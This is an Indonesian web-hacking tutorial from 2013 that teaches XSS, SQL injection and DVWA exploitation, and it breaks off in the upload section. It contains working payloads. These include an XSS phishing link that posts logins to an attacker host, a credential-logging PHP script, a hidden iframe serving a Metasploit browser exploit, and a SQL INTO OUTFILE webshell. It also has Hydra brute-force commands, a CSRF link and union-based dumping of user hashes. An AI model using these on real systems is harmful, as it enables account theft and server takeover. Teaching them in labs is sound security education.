SlideShare a Scribd company logo
1 of 67
Download to read offline
Third Edition




Web
Hacking
(Basic)


Ahmad Muammar, OSCP (C) 2013
ATTACK VECTOR




1
          Pada BAB ini akan dibahas
          mengenai jenis-jenis
          serangan yang umumnya
          terjadi dan dimanfaatkan
          oleh attacker untuk dapat
          melakukan serangan
          terhadap infrastruktur web.




           Ahmad Muammar, OSCP (C) 2013
Section 1



CROSS SITE                      Cross Site Scripting (XSS)

                                Cross Site Scripting atau lebih dikenal dengan XSS adalah sa-

SCRIPTING (XSS)                 lah satu jenis serangan terhadap web aplikasi dengan tipe in-
                                jeksi, umumnya akan mengakibatkan kode-kode berbahaya da-
                                pat disisipkan pada web asli dan resmi.

                                Jenis serangan ini umumnya terjadi dikarenakan apikasi web
                                tidak melakukan validasi dan encoding terhadap input yang dib-
Daftar Isi                      erikan oleh user dan langsung men-generate-nya kembali.

1. Cross Site Scripting (XSS)

2. Tipe XSS

 1. Reflected XSS

 2. Persistent XSS




                                                (Gambar Celah XSS pada situs Paypal)

                                XSS dapat terjadi apabila:

                                                                                             2
1. Data yang diinputkan ke web aplikasi dilakukan melalui sum-     cara benar melakukan parsing atau pembatasan terhadap tag
   ber yang tidak terpercaya, dan umumnya berupa request ke        HTML, maka akan terjadilah celah keamanan ini.
   web aplikasi.
                                                                   Untuk memanfaatkan celah ini lebih lanjut, umumnya celah re-
2. Data di proses kedalam konten dinamik yang di kirim ke          flected ini akan di kombinasikan dengan jenis serangan lain
   pengguna web tanpa terlebih dahulu di validasi.                 seperti phishing, dimana attacker akan mengirimkan email be-
                                                                   rupa alamat URL situs yang legitimate tetapi mengandung XSS
                                                                   payload yang akan di eksekusi oleh target.
TIPE XSS
                                                                   Berikut adalah contoh situs yang memiliki celah keamanan
Belum ada kesepeakatan berapa jumlah tipe/jenis XSS yang           Cross Site Scripting (XSS) Reflected
ada, tetapi pada umumnya terdapat beberapa tipe Cross Site
Scipting yaitu:

1. Non-Persistent

Tipe non-persistent atau lebih sering dikenal dengan tipe re-
flected ini adalah yang paling banyak di temui, tipe ini akan me-
nampilkan celah XSS sewaktu data diinput via browser, pada
umumnya celah yang dieksploitasi merupakan paramater query
HTTP atau HTML form submissions yang akan di proses oleh
server-side dan ditampilkan kembali ke klien seperti pada gam-
bar 1.

Umumnya celah keamanan ini ditemukan pada halaman pen-
carian, karena hasil dari pencarian akan di tampilkan kembali
ke user, dan apabila response yang akan dikirimkan tidak se-


                                                                                                                               3
Pada contoh diatas attacker melakukan ujicoba dengan me-     Seperti disinggung diatas, umumnya celah keamanan ini diman-
masukkan “<h1>XSS</h1>” ke dalam input box untuk pen-        faatkan untuk melakukan serangan phishing atau social engi-
carian, dan apabila ternyata memiliki celah keamanan XSS,    neering terhadap user/pengguna sah dari suatu situs, sebagai
maka akan menampilkan versi Header 1 untuk kata-kata “XSS”   contoh adalah user akan di kirimi link untuk melakukan login,
seperti berikut ini:                                         karena user hanya memeriksa nama domain dan tanpa me-
                                                             meriksa keseluruhan link, atau attacker umumnya akan men-
                                                             girimkan link yang sudah di perpendek dengan layanan “short
                                                             url”untuk memperbesar kemungkinan user menjadi percaya.

                                                             Berikut adalah contoh payload XSS dalam serangan yang
                                                             umumnya digunakan oleh attacker. Attacker akan mengirimkan
                                                             link berikut ini:

                                                             http://192.168.1.209/omega-bank/result.php?teks=%3Cbr%3E%3Cbr%
                                                             3EPlease+login+with+the+form+below+to%20get%20the%20result:%3
                                                             Cform+action%3Dhttp://192.168.1.210/getlogin.php%3E%3Ctable%3E
                                                             %3Ctr%3E%3Ctd%3ELogin:%3C/td%3E%3Ctd%3E%3Cinput+type%3
                                                             Dtext+length%3D20+name%3Dlogin%3E%3C/td%3E%3C/tr%3E%3Ctr
                                                             %3E%3Ctd%3EPassword:%3C/td%3E%3Ctd%3E%3Cinput+type%3Dt
                                                             ext+length%3D20+name%3Dpassword%3E%3C/td%3E%3C/tr%3E%3
                                                             C/table%3E%3Cinput+type%3Dsubmit+value%3DLOGIN%3E%3C/for
                                                             m%3E&password=&submit=Submit


                                                             Atau apabila di perpendek dengan url-shortener menjadi
                                                             http://bit.ly/result dan sebagainya, yang apabila di klik oleh user
                                                             akan menjadi seperti gambar berikut ini:



                                                                                                                               4
yaitu file getlogin.php yang dalam hal ini akan akan di simpan
                                                                  pada web yang beralamat di http://192.168.1.210

                                                                  <?php
                                                                  $login = $_GET['login'];
                                                                  $password = $_GET['password'];
                                                                  $fp = fopen("data.txt", "a");
                                                                  fwrite($fp, “login: ”.$login."| password:".$password. "n");
                                                                  fclose($fp);
                                                                  ?>

                                                                  Seluruh informasi login user akan di simpan kedalam file
                                                                  data.txt, yang apabila ada user yang melakukan login, maka file
                                                                  data akan mulai terisi dengan format sebagai berikut:



Maka saat diakses user, dia akan di bawa ke web resmi, den-
gan halaman yang menjadi berisikan halaman login (pada hala-
man resmi pencarian), dibanding serangan web phishing den-
gan fake sites, celah ini akan lebih valid dan juga bisa memby-
pass situs yang mempergunakan SSL-based

Kemudian, sesuai dengan payload yang dikirimkan, attacker te-
lah membuat web yang akan mengambil seluruh login yang
masuk nantinya.                                                   Tetapi, dengan semakin meningkatnya keamanan browser
                                                                  maka dari sisi web browser sendiri melakukan filtering terhadap
Berikut ini skrip sederhana yang bisa dipergunakan oleh at-
                                                                  celah keamanan seperti ini, dalam hal ini cross domain policy.
tacker untuk mengambil informasi login dan password dari user,
                                                                  Selain hal diatas, attacker juga dapat melakukan hal lain,
                                                                                                                                  5
seperti menyisipkan link yang apabila user mengklik link terse-   Attacker menggunakan tag HTML “<b>” untuk mencetak tebal
but akan dibawa kehalaman yang memang sudah di persiap-           kata-kata yang dimasukkan pada buku tamu, dan akan disim-
kan sama persis seperti aslinya, tanpa melakukan cross-           pan oleh server, saat ada pengguna lain yang mengakses buku
domain request.                                                   tamu, maka dia akan mendapati pesan dengan teks tebal yang
                                                                  di tulis attacker.
2. Persistent
                                                                  Umumnya, jenis serangan yang paling berbahaya dan meman-
Tipe yang kedua adalah Persistent XSS, hal ini terjadi apabila
                                                                  faatkan celah XSS tipe ini adalah attacker dapat menyisipkan
data yang dimasukkan attacker akan disimpan oleh server dan
                                                                  link dalam tag <iframe> yang akan mengakibatkan user secara
secara permanen ditampilkan saat halaman web tersebut di
                                                                  otomatis mengakses web yang telah di setup oleh attacker ber-
buka.
                                                                  isi kode untuk mengeksploitasi browser yang dipergunakan
Celah keamanan yang banyak terjadi adalah pada halaman            oleh user.
Buku Tamu dan juga forum diskusi. Berikut adalah contoh web
                                                                  Celah persistent XSS ini jauh lebih berbahaya bagi user dari su-
dengan celah keamanan Cross Site Scripting (XSS) Persistent.
                                                                  atu situs web yang memiliki celah, karena pengguna yang men-
                                                                  gakses akan mengeksekusi XSS payload yang di render oleh
                                                                  server, sehingga seluruh user yang mengakses web tersebut
                                                                  akan rentan terkena serangan ini.

                                                                  Berikut adalah contoh skenario yang dilakukan oleh attacker un-
                                                                  tuk mengambil alih komputer target memanfaatkan celah XSS
                                                                  tipe persistent pada salah satu web dan memanfaatkan celah
                                                                  keamanan pada versi browser yang tidak terupdate.

                                                                  Pertama-tama attacker akan menghost browser exploit pada sa-
                                                                  lah satu situs, dalam hal ini http://192.168.1.99:8080/rOPBgX
                                                                  dan kemudian menuliskan ke dalam Buku tamu pada website
                                                                  yang bercelah dengan tag <iframe

                                                                                                                                6
src=http://192.168.1.99:8080/rOPBgX width=0 height=0 ></        Sedangkan disisi target adalah akan tampak kurang lebih
iframe>                                                         seperti berikut ini:

Cara termudah bagi attacker untuk mensetup web dengan           Victim akan mengakses link buku tamu (guestbook) dan tanpa
browser exploit adalah menggunakan Metasploit, khususnya        sadar mengakses iframe yang di set tidak terlihat dengan size
mempergunakan modul , browser_autopwn, tetapi hal ini akan      “0” untuk kemudian mengakses situs yang telah kita siapkan be-
mengakibatkan seluruh exploit di jalankan oleh Metasploit dan   serta exploit untuk bwosernya.
berakibat akan sangat kontra-produktif.

Sehingga, untuk contoh berikut ini saya hanya mempergunakan
1 exploit yang umumnya menyerang browser Internet Explorer

msf > info exploit/windows/browser/ie_createobject


Name: Internet Explorer COM CreateObject Code Execution
Module: exploit/windows/browser/ie_createobject
Version: 15188
Platform: Windows
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent

Untuk menjalankan eksploitnya, attacker perlu melakukan set
beberapa variabel, khususnya URIPATH /rOPBgX, dan selanjut-
nya membiarkan metasploit menjalankan servernya dan
menunggu target mengakses link <iframe> yang kita masuk-
kan.                                                            Sedangkan disisi Attacker, maka akan mendapatkan koneksi
                                                                dari target, dan proses eksploitasi browser pun berjalan.
                                                                                                                            7
Dan seperti yang telah kita lihat, attacker telah berhasil men-
gambil alih komputer user/target yang mengakses web berisi
buku tamu tersebut. :)




                                                                  8
Section 2



SQL Injection                                   SQL Injection

                                                SQL injection adalah salah satu Attack vector yang sangat ser-
                                                ing dimanfaatkan oleh attacker untuk menyerang suatu web
                                                aplikasi khususnya pada layer database.

                                                Jenis serangan ini dilakukan dengan memasukkan perintah-
Daftar Isi                                      perintah SQL kedalam “request/query” yang dilakukan ke
                                                aplikasi web dan akan diteruskan ke server database dengan
1. SQL Injection                                perintah SQL yang telah di modifikasi.
!   1.1 Tipe Ancaman                            Kerentanan ini terjadi ketika semua input yang di masukkan
2. Implementasi Teknis                          oleh pengguna tidak difilter secara baik. Umumnya serangan ini
                                                digunakan untuk merubah dan memodifikasi data didalam data-
!   2.1 Incorrectly filtered escape characters   base atau untuk menampilkan (dump) isi dari database yang
                                                berisi informasi login user dan password atau data kartu kredit.
!   2.2 Incorrect Type Handling
                                                1.1. Tipe Ancaman
!   2.3 SQL Injection
                                                Dan berikut ini adalah tabel Tipe ancaman yang mungkin terjadi
                                                terhadap layer database dengan jenis serangan SQL injection




                                                                                                                 9
Tipe Ancaman                     Contoh SQL injection           Implementasi Teknis

                         Mengambil dan menggunakan informasi       Berikut ini adalah beberapa implementasi secara teknis jenis
Spoofing                  kredential user lain, memodifikasi value   serangan SQL Injection yang umum terjadi pada web aplikasi.
                         pesan yang dibuat oleh penulis sah.

                         Memodifikasi dan merubah data di           1. Incorrectly filtered escape characters
Tampering
                         database
                                                                   Tipe SQL Injection ini terjadi apabila pada tempat form input ti-
                         Menghapus event log database,             dak terdapat filter yang akan melakukan pemeriksaan terhadap
Repudiation
                         menghapus transaction records
                                                                   karakter-karakter yang seharusnya tidak boleh dipergunakan
                         Mendapatkan informasi kartu kredit, dan   (escape characters) dan yang dimasukkan pengguna.
Information
                         mendapatkan gambaran secara internal
Disclosure
                         dari suatu aplikasi                       Escape characters, salah satu contohnya ‘ (single quote) ini
                         Menjalankan perintah SQL yang
                                                                   juga umumnya yang dipergunakan oleh attacker untuk mende-
Denial Of Service                                                  teksi apakah suatu web aplikasi memiliki celah SQL Injection,
                         menghabiskan sumber daya.
                                                                   sebagai contoh memasukkan karakter single quote ke input us-
                         Menjalankan perintah shell, melakukan
                         teknik privileges escalation untuk
                                                                   ername akan menampilkan error sebagai berikut:
Elevation of Privilige
                         mendapatkan credentials yang
                         menjalankan mysql (root/administrator)

         (Tabel 1, Jenis Tipe ancaman dan contoh SQL Injection)




                                                                   Dengan adanya error, mengindikasikan bahwa web aplikasi
                                                                   memiliki celah SQL Injection dikarenakan tidak melakukan filter
                                                                   terhadapescape characters.

                                                                                                                                 10
Serangan terjadi umumnya pada form yang membutuhkan inpu-     FROM users WHERE name = '" + username + "'; , dan yang
tan dari user, sebagai contoh form untuk login. Attacker      akan terkirim ke database server adalah : SELECT * FROM us-
umumnya memasukkan karakter yang akan di proses oleh SQL      ers WHERE name = '' OR '1'='1';
Server, contoh yang sudah sangat umum adalah membypass
                                                              Dan apabila tidak ada filter terhadap escape charater, maka
login dengan memanfaatkan perintah SQL.
                                                              SQL akan mengijinkan attacker untuk bisa login ke halaman
                                                              user, seperti gambar berikut ini:

                                                              2. Incorrect Type Handling




Perintah SQL yang umumnya dipergunakan untuk membypass
login adalah dengan memasukkan inputan untuk username
yaitu ‘ or ‘1’ = ‘1. Sehingga untuk statement SQL "SELECT *   3.

                                                                                                                           11
Tipe yang kedua adalah incorrect type handling, celah kea-
manan ini terjadi karena kesalahan aplikasi dalam mendefinisi-
kan tipe, atau tidak adanya batasan tipe yang dimasukkan. Se-
bagai contoh dibawah ini, seharusnya developer memasukkan
tipe numeric sehingga inputan selain numeric akan di tolak dan
tidak akan terjadi.




                                                                  Kemudian, pada gambar sebelumnya kita memasukkan perin-
                                                                  tah SQL “desc user” untuk di teruskan oleh aplikasi ke data-
                                                                  base, dan ternyata table user tidak tersedia didalam database
                                                                  “omega” dan kita mendapatkan nama databasenya.

                                                                  selanjutnya, berdasarkan hasil pertama percobaan , kita menge-
Seperti biasa, untuk melakukan pemeriksaan kemungkinan ce-        tahui bahwa semua perintah SQL akan di lanjutkan oleh web
lah sql injection bisa juga dilakukan dengan menggunakan es-      aplikasi ke database server. Sehingga, salah satu serangan
cape characters yang dalam hal ini adalah ‘ (single-quote) yang   yang cukup bermanfaat dan bisa kita lakukan selain melakukan
merupakan flase argument, dan kita mengharapkan error.             dump data-data di database adalah memanfaatkan perintah

                                                                                                                              12
menulis ke file dengan fungsi INTO OUTFILE untuk mendapat-     2. Selanjutnya adalah memasukkan payload ke dalam tabel
kan akses ke-shell.                                           DOO

Adapun langkah yang kita tempuh adalah dengan membuat se-     insert into foo(doo) values ('<?php system($_RE-
buah tabel mysql yang akan kita isikan payload backdoor php   QUEST["cmd"]); ?>');
dan natinya akan kita tulisi ke file php.

1. Langkah pertama adalah membuat tabel dengan perintah:
create table foo(doo text)




                                                              3.Kemudian kita tulis ke file dengan fungsi INSERT INTO ke da-
                                                              lam file yang terdapat didalam direktori web,

                                                              select * into outfile '/var/www/omega-bank/upload/bobi.php'
                                                              from foo;
                                                                                                                           13
4. Selanjutnya untuk mengakses backdoor, kita bisa mengak-
   sesnya di URL backdoor tersebut kita tulisi, yaitu:       Selanjutnya anda bisa mendownload backdoor yang lebih kom-
                                                             plek lagi seperti backdoor metasploit meterpreter, dan kemu-
http://192.168.1.209/omega-bank/upload/bobi.php?cmd=id
                                                             dian menjalankan local exploit untuk menjadi root/administrator,
                                                             atau kegiatan untuk escalating privileges lainnya yang mungkin
                                                             dapat anda lakukan.




                                                                                                                           14
DVWA




2
       Pada BAB ini akan dibahas
       mengenai jenis-jenis
       serangan yang umumnya
       terjadi dan dimanfaatkan
       oleh attacker untuk dapat
       melakukan serangan
       terhadap infrastruktur web
       dan disimulasikan dengan
       DVWA.




        Ahmad Muammar, OSCP (C) 2013
Section 1



DVWA                                    DVWA
                                        DVWA atau Damn Vulnerable Web Application adalah
                                        aplikasi web yang sengaja dibuat dan memiliki celah keamanan
                                        dengan bahasa pemrograman PHP dan database engine
                                        MySQL.



Daftar Isi

1. DVWA

2. Vulnerability Exploitation

 1. HTTP form based Bruteforce
 2. Command Execution
 3. CSRF (Cross site Request Forgery)
 4. File Inclusion
 5. SQL Injection
 6. BLind SQL Injection
 7. Upload
 8. XSS Reflected
 9. XSS Persistent

                                                                                                  16
Tujuannya dibuatnya DVWA adalah sebagai “bantuan” untuk         Selain dilengkapi dengan celah-celah keamanan, aplikasiini
para profesional keamanan dalam menguji keterampilan            juga dilengkapi dengan aplikasi IDS berbasis php, kemudian
mereka, membantu pengembang web lebih memahami proses           juga di lengkapi bantuan terkait celah keamanan pada pojok
untuk dapat mengamankan aplikasi web dan bantuan untuk          bagian bawah terdapat tombol veiw source dan view help.
mempelajari keamanan aplikasi web.

DVWA sendiri dapat di dowload di http://dvwa.co.uk dalam ben-
tuk web aplikasi atau file ISO.

Pada aplikasi DVWA terdapat beberapa celah keamanan yang
dapat kita coba untuk di pelajari, diantaranya:

1. Http-form-based bruteforce                                   Selain itu juga terdapat level security untuk DVWA, untuk dapat
2. Command Execution                                            di eksploitasi dengan mudah maka gunakan setting Low pada
                                                                DVWA Security.
3. CSRF (Cross site Request Forgery)
4. File Inclusion
5. SQL Injection
6. Blind SQL Injection
7. Upload
8. XSS Reflected
9. XSS Persistent


Sebagai peringatan, jangan install aplikasi ini pada server
production anda. Sebisa mungkin digunakan pada kom-
puter yang terisolasi, sebaiknya gunakan ISO file saja.



                                                                                                                             17
Untuk pembelajaran awal, gunakan setting Low pada level
DVWA Security. Dan selanjutnya kita akan membahas satu per-
satu cara untuk melakukan eksplotasi terhadap aplikasi DVWA
ini.




                                                              18
Section 2



Vulnerability                           Vulnerability Exploitation

Exploitation                            Seperti yang sudah sedikit disinggung diatas untuk memulai me-
                                        lakukan eksploitasi terhadap tiap-tiap celah yang terdapat pada
                                        dvwa, maka kita harus melakukan setting level DVWA security,
                                        untuk tahap awal kita bisa men-set-nya menjadi Low, dan kemu-
                                        dian mencoba mengeksploitasi tiap-tiap celah keamanan.
Daftar Isi
                                        1. Http-form-based bruteforce
1. DVWA                                 Celah pertama yang tersedia dan dapat kita coba untuk eksploi-
2. Vulnerability Exploitation           tasi adalah celah Bruteforce, umumnya celah ini terdapat pada
                                        login form untuk yang form-based atau pada login http-auth, da-
 1. HTTP form based Bruteforce          lam hal ini celah keamanan bruteforce yang terdapat pada
 2. Command Execution                   DVWA adalah http-form-based.

 3. CSRF (Cross site Request Forgery)
 4. File Inclusion
 5. SQL Injection
 6. BLind SQL Injection
 7. Upload
 8. XSS Reflected
 9. XSS Persistent

                                                                                                    19
Adapun tools-tools untuk melakukan bruteforce terhadap http-
                                                                form-based adalah diantaranya:

                                                                1. Nmap NSE (http-form-brute)
                                                                2. THC Hydra
                                                                3. Brutus
                                                                4. Acunetix
                                                                5. Burp suite

                                                                Dan selain tools diatas, masih banyak lagi yang mungkin dapat
                                                                dipergunakan, dalam hal ini kita tidak akan mencobakan se-
                                                                muanya. Kali ini kita akan mempergunakan THC Hydra untuk
                                                                membruteforce login, sebelum itu kita harus mempersiapkan
                                                                dictionary untuk username dan password.

                                                                DareDevil:hydra-7.4.2 ammar$ cat > user <<EOF
                                                                > root
                                                                > foo
                                                                > admin
                                                                > administrator
Celah bruteforce itu sendiri bisa dieksploitasi secara manual   > EOF
                                                                DareDevil:hydra-7.4.2 ammar$ cat > password << EOF
atau mempergunakan tools, biasanya untuk melakukan brute-
                                                                > 12345
force akan lebih efektif menggunakan dictionary yang meru-
                                                                > qwerty
pakan kumpulan kata-kata yang umumnya dipergunakan seba-
                                                                > password
gai password atau merupakan kumpulan default password           > secret
yang sudah umum di pergunakan.                                  > password123
                                                                > EOF

                                                                                                                           20
Selanjutnya kita memerlukan beberapa variabel yang nantinya    Selanjutnya jalankan hydra untuk melihat opsi yang di miliki.
akan kita masukkan sebagai opsi pada thc-hydra, dan (error)
response yang ada.

Untuk mendapatkan error response, coba login terlabih dahulu
dengan password sembarang, dalam hal ini kita coba dengan
admin:admin dan mendapatkan error “Username and/or pass-
word incorrect.”




                                                               dan kita akan memanfaatkan opsi service: http[s]-{get|post}-
                                                               form. Untuk melakukan bruteforce kita memerlukan beberapa
                                                               variabel, yaitu variabel untuk HTTP-method. username, pass-
                                                               word dan submit, hal itu bisa kita dapatkan dengan melihat
                                                               source dari halaman login tersebut atau menggunakan local
                                                               proxy seperti burp atau tamper-data add-ons di firefox.
                                                                                                                               21
Dan didapatkan username=admin dan password=password.

                                                              Sehingga apabila kita coba gunakan untuk login, maka kita
                                                              akan berhasil masuk menggunakan credentials admin.




Kemudian, kita bisa menjalankan aplikasi hydra dengan opsi-
opsi sebagai berikut:

./hydra -l admin -P password 192.168.1.206 http-get-form
"/vulnerabilities/brute/index.php:username=^USER^&pass
word=^PASS^&Login=Login:Username and/or password
incorrect.:H=Cookie: PHPSES-
SID=0p61ua4p0u4g28bfk36qcr11c1; security=high"

yang hasilnya akan seperti berikut ini apabila berhasil:



                                                                                                                          22
dan dengan mempergunakan thc-hydra maka akan berhasil di
                                                                 bruteforce juga, seperti berikut ini:

                                                                 #hydra -L user -P password 192.168.1.210 http-post-form
                                                                 "/omega-bank/check.php:username=^USER^&password=^
Selanjutnya kita coba pada situs lain, sebagai contoh aplikasi   PASS^&Submit=Submit:Not Register or Wrong Password"
berikut ini:




                                                                                                                        23
2. Command Injection

Celah yang kedua adalah celah command injection, dengan
adanya celah ini memungkinkan attacker untuk memasukkan
perintah (command) via web aplikasi dan akan diteruskan dan
dijalankan oleh sistem operasi dengan privilege user web
aplikasi.


                                                              Pada DVWA terdapat aplikasi yang mengijinkan kita untuk me-
                                                              manfaatkan fasilitas PING suatu ip/web melalui aplikasi, seba-
                                                              gai contoh berikut ini kita melakukan ping terhadap yahoo.com.




                                                                                                                          24
Dan oleh aplikasi perintah ping kita akan di teruskan ke sistem
                                                                  Dalam hal ini kita mempergunakan separator untuk men-
operasi, yang menjadi permasalahan adalah apabila tidak terda-
                                                                  jalankan beberapa perintah pada sistem operasi seperti “;” atau
pat filter, sehingga untuk mengeksploitasinya kita dapat me-
                                                                  “&”.
masukkan perintah (command) milik sistem operasi.
                                                                  Dan ternyata, seluruh perintah yang kita masukkan akan langs-
                                                                  ung diteruskan oleh aplikasi ke sistem, dan salah satu seran-
                                                                  gan yang mungkin kita lakukan adalah mendownload (misal


                                                                                                                               25
menggunakan wget) dan menjalankan backdoor (menjalankan
netcat atau backdoor yang telah di download).

3. Cross Site Request Forgery (CSRF)

Celah ketiga yang terdapat pada DVWA adalah CSRF yang
merupakan kependekan dari Cross Site Request Forgery, yang
merupakan salah satu jenis serangan yang memaksa target un-
tuk mengeksekusi aksi yang tidak di harapkan dari suatu web
aplikasi saat mereka sedang terotentikasi ke web tersebut.

Celah ini umumnya dikombinasikan dengan celah sosial engi-
neering. Beberapa fitur yang umumnya dijadikan sasaran ada-
lah fitur penggantian password, perubahan profile dsb.

Pada aplikasi dvwa terdapat form untuk merubah password dan
ternyata memiliki celah CSRF,

Cara untuk mengeksploitasinya adalah memberikan link berikut
ini ke target, baik via email/forum dsb-nya (khususnya yang me-
nampilkan html)
                                                                  Sehingga, setiap user yang mengklik link - Click Here - maka
<a                                                                passwordnya akan terganti menjadi “qwerty”.
href="http://192.168.1.208/vulnerabilities/csrf/?password_new=
qwerty&password_conf=qwerty&Change=Change#">Click
Here</a>                                                          4. File Inclusion

                                                                  Celah keempat yang terdapat pada DVWA adalah File Inclu-
                                                                  sion, sehingga memungkinkan attacker untuk meng-include-
                                                                                                                                 26
kan file ke aplikasi, umumnya celah ini terbagi dua, local file in-
clusion dan remote file inclusion dan celah ini akan semakin ber-
bahaya jika kode yang terdapat pada halaman yang di include
di eksekusi oleh aplikasi atau memiliki juga celah code
execution.




                                                                    Sebagai contoh kita membaca file “/etc/passwd”, yang apabila
                                                                    berhasil maka akan muncul file /etc/passwd yang dapat kita
                                                                    baca.

                                                                    Sedang untuk mencoba apakah suatu web aplikasi memiliki ce-
Untuk celah local file inclusion kita bisa mencoba untuk meng-
                                                                    lah remote file inclusion, kita dapat meng-include-kan situs lain
include file yang terdapat di server dan dapat dibaca oleh user
                                                                    ke aplikasi web tersebut, dalam hal ini dvwa, sebagai contoh si-
web, dengan memanfaatkan path traversal.
                                                                    tus http://yahoo.com

                                                                                                                                  27
Dan selanjutnya kita coba meng-include-kan pada aplikasi
                                                                   DVWA yang bercelah remote file inclusion, apakah skrip terse-
                                                                   but akan dijalankan dan dieksekusi oleh php di server DVWA




Dan ternyata, aplikasi DVWA memiliki celah remote dan local
file inclusion. Selanjutnya kita akan mencoba meng-include-kan
web dengan halaman php, dalam hal ini berisi fungsi phpinfo();
yang apabila di eksekusi berarti aplikasi mengijinkan remote file
inclusion dan remote code execution.

Selanjutnya kita akan mengeksploitasinya dengan skrip phpinfo
sederhana dan disimpan dengan nama phpinfo.txt di webserver
lain yang sudha kita persiapkan.
                                                                   Dan ternyata, script tersebut di eksekusi oleh aplikasi DVWA.
                                                                   Selanjutnya kita bisa membuat script php yang berisi web shell
                                                                   dan kita include-kan ke halaman dvwa yang bercelah.
                                                                                                                               28
Untuk melakukan eksploitasi secara manual terhadap celah sql
                                                                   injection biasa, kita dapat mempergunakan string/numeric true
                                                                   (‘’, “ “,, and 1) dan false (‘, “, , and 0) , maka umumnya yang
                                                                   dilakukan adalah dengan memanfaatkan error dan mempergu-
                                                                   nakan escape character seperti single quote (‘) agar hasil false
Kitapun telah bisa berinteraksi dengan sistem melalui script php   dan mendapatkan error.
web shell yang mengeksploitasi celah keamanan remote file in-
clusion dan remote code execution.

5. SQL Injection

Celah kelima yang terdapat pada DVWA adalah celah SQL In-
jection. Untuk mengeksploitasinya kita bisa melakukan secara
manual atau dapat mempergunakan tools scanner untuk mene-
mukan celahnya, dan juga untuk mengeksploitasinya. Tools
yang sangat umum dipergunakan salah satunya sqlmap.



                                                                                                                                   29
dan menghasilkan error sql, seperti berikut ini:




atau untuk login kita bisa menggunakan perintah 1‘ OR “=’
yang berarti True dan hasil akan ditampilkan. Agar Query kita
diproses dan tidak ada query lagis etelahnya di proses, kita
bisa menggunakan comment out query pada akhir sql state-
ment yang kita gunakan diantaranya #, /*, -- -.




                                                                Dan untuk mencari jumlah column yang terdapat di tabel dari
                                                                database yang bisa kita pergunakan, kita bisa melakukannya
                                                                dengan cara mengaksesnya 1 persatu sampai tidak menjadi er-
                                                                ror, untuk asumsi 1 column, gunakan ‘union select 1#



Sekarang apabila kita bypass dengan semua true, tanpa ID




                                                                                                                         30
dan apabila masih terdapat error seperti ini:                     selanjutnya yang mungkin dilakukan adalah berinteraksi den-
                                                                  gan database, sehingga kita dapat melihat seluruh isi data-data
                                                                  di database, seperti berikut:




kemudian di coba lagi dengan 2 column,




                                                                  Dari info diatas kita mengetahui nama database dari dvwa yaitu
                                                                  ‘dvwa’, dan untuk mengetahui nama tabel, jika mysql ver 4 kita
dan ternyata tidak error lagi dan kita ketahui bahwa ada 2 col-   harus melakukan bruteforce, atau jika itu berupa opensource
umn, jika masih error dapat dilanjutkan sampai tidak ada error.   cms kita bisa melihatnya, sedangkan untuk mysql versi 5 kita
                                                                  bisa mempergunakan table information_schema yang memberi-
Setelah kita mendapatkan jumlah column yang di tampilkan, se-     kan informasi terkait data-data yang terdapt didalam database
lanjutnya untuk setiap query kita bisa memanfaatkan 2 kolom       seperti nama database dan nama tabel, tupe data dan kolom
tersebut, sebagai contoh kita hanya mempergunakan kolom ke-       atau akses privilege.
dua
                                                                  Seperti contoh berikut ini adalah mengakses tabel informa-
                                                                  tion_schema.




                                                                                                                               31
yang hasilnya adalah sebagai berikut:




                                                              Setelah kita dapatkan nama database (dvwa), kemudian nama
                                                              tabel dan jumlah kolom, selanjutnya kita perlu mencari nama
                                                              kolomnya, dengan kembali memanfaatkan tabel
                                                              information_schema.column denagn perintah berikut:

                                                              ' union all select column_name,database() from
                                                              information_schema.columnss where table_schema=dat-
                                                              abase()#




atau hanya melihat informasi nama tabel dari database yang
kita gunakan saja menggunakan perintah sql sebagai berikut:

' union all select table_name,database() from
information_schema.tables where table_schema=dat-
abase()#


                                                                                                                       32
Dan didapatkan username admin dengan hash password:
                                                            5f4dcc3b5aa765d61d8327deb882cf99 yang setelah di crack
Sekarang kita bisa mendapatkan informasi user dan pass-     merupakan md5 hash dari password.
wordnya dengan menggunakan database dvwa, tabel users
dan kolom user dan password

'union select user,password from dvwa.users#

Sehingga akan didapatkan data usernama dan passsword dari
aplikasi dvwa, seperti pada gambar berikut ini:




                                                                                                                 33
Selanjutnya kita dapat mempergunakan fungsi-fungsi lain dari    6. Blind SQL Injection
mysql yang berguna bagi kita, seperti membaca file dengan
fungsi load_file() atau menulis ke file dengan fungsi into out-   Celah keenam yang terdapat pada DVWA adalah celah Blind
file().                                                          SQL Injection, perbedaan celah ini dan celah SQL injection ada-
                                                                lah error yang tidak muncul. Sehingga untuk mengeksploitasi-
Dengan fungsi load_file(), memungkinkan kita untuk membaca       nya. Sebagai contoh saat kita masukkan single quote (‘).
file-file yang dapat dibaca oleh user yang menjalankan web
aplikasi/web user. Kita dapat membaca file konfigurasi datbase
dari web server, konfigurasi dari server, dsb.




                                                                Dan tidak terdapat error mysql sama sekali yang tampil. Untuk
                                                                mengetahui apakah situs tersebut memiliki celah sql injection
                                                                atau tidak kita bisa memasukkan perintah sql, sebagai contoh
                                                                menggunakan true or false argument.

                                                                True condition memasukkan ID= 1' OR ''='# ; jika hasil yang di-
                                                                proses oleh aplikasi adlaah sama denagn ID=1 berarti ke-
                                                                mungkinan aplikasi memiliki celah SQL Injection (Blind), dan
                                                                diperoleh hasil sebagai berikut:


                                                                                                                             34
Mari kita coba dengan untuk asumsi 1 column, gunakan ‘union
                                                                     select 1#




Dan ternyata memiliki hasil yang sama dengan ID=1, sekarang
kita coba False argument,
                                                                     Dan tidak ada error yang dihasilkan.




                                                                     Kita lanjutkan dengan ‘union select 1,2#

Dan proses eksploitasi sql injection pun terjadi, selanjutnya kita
akan menentukan field yang dapat kita manfaatkan. Cara yang
akan dipergunakan sama seperti cara kita saat mencari celah
SQL Injection, perbedaannya adalah apabila jumlah field benar
maka hasil akan tampil, sebaliknya jika jumlah field salah maka
tidak akan tampil apa-apa.                                           Dan kita mendapatkan bahwa terdapat sejumlah 2 column yang
                                                                     kedua-duanya bisa kita manfaatkan, karena dalam beberapa

                                                                                                                              35
kasus terdapat beberapa column, dan bisa jadi tidak semuanya
bisa dimanfaatkan.

Dan langkah yang dilakukan sleanjutnya sama, sampai kita
mendapatkan username dan password dari user aplikasi,




atau mendapatkan akses ke sistem mempergunakan fungsi
load_file() atau into outfile().




                                                               36
7. Upload                                                          Selanjutnya, kita hanya perlu mencari URI path yang tepat men-
                                                                   garah ke file yang kita update, dan dalam hal ini kita tau
Celah ketujuh yang terdapat pada DVWA adalah celah fungsi          diupload ke folder tersebut, sehingga kita bisa langsung men-
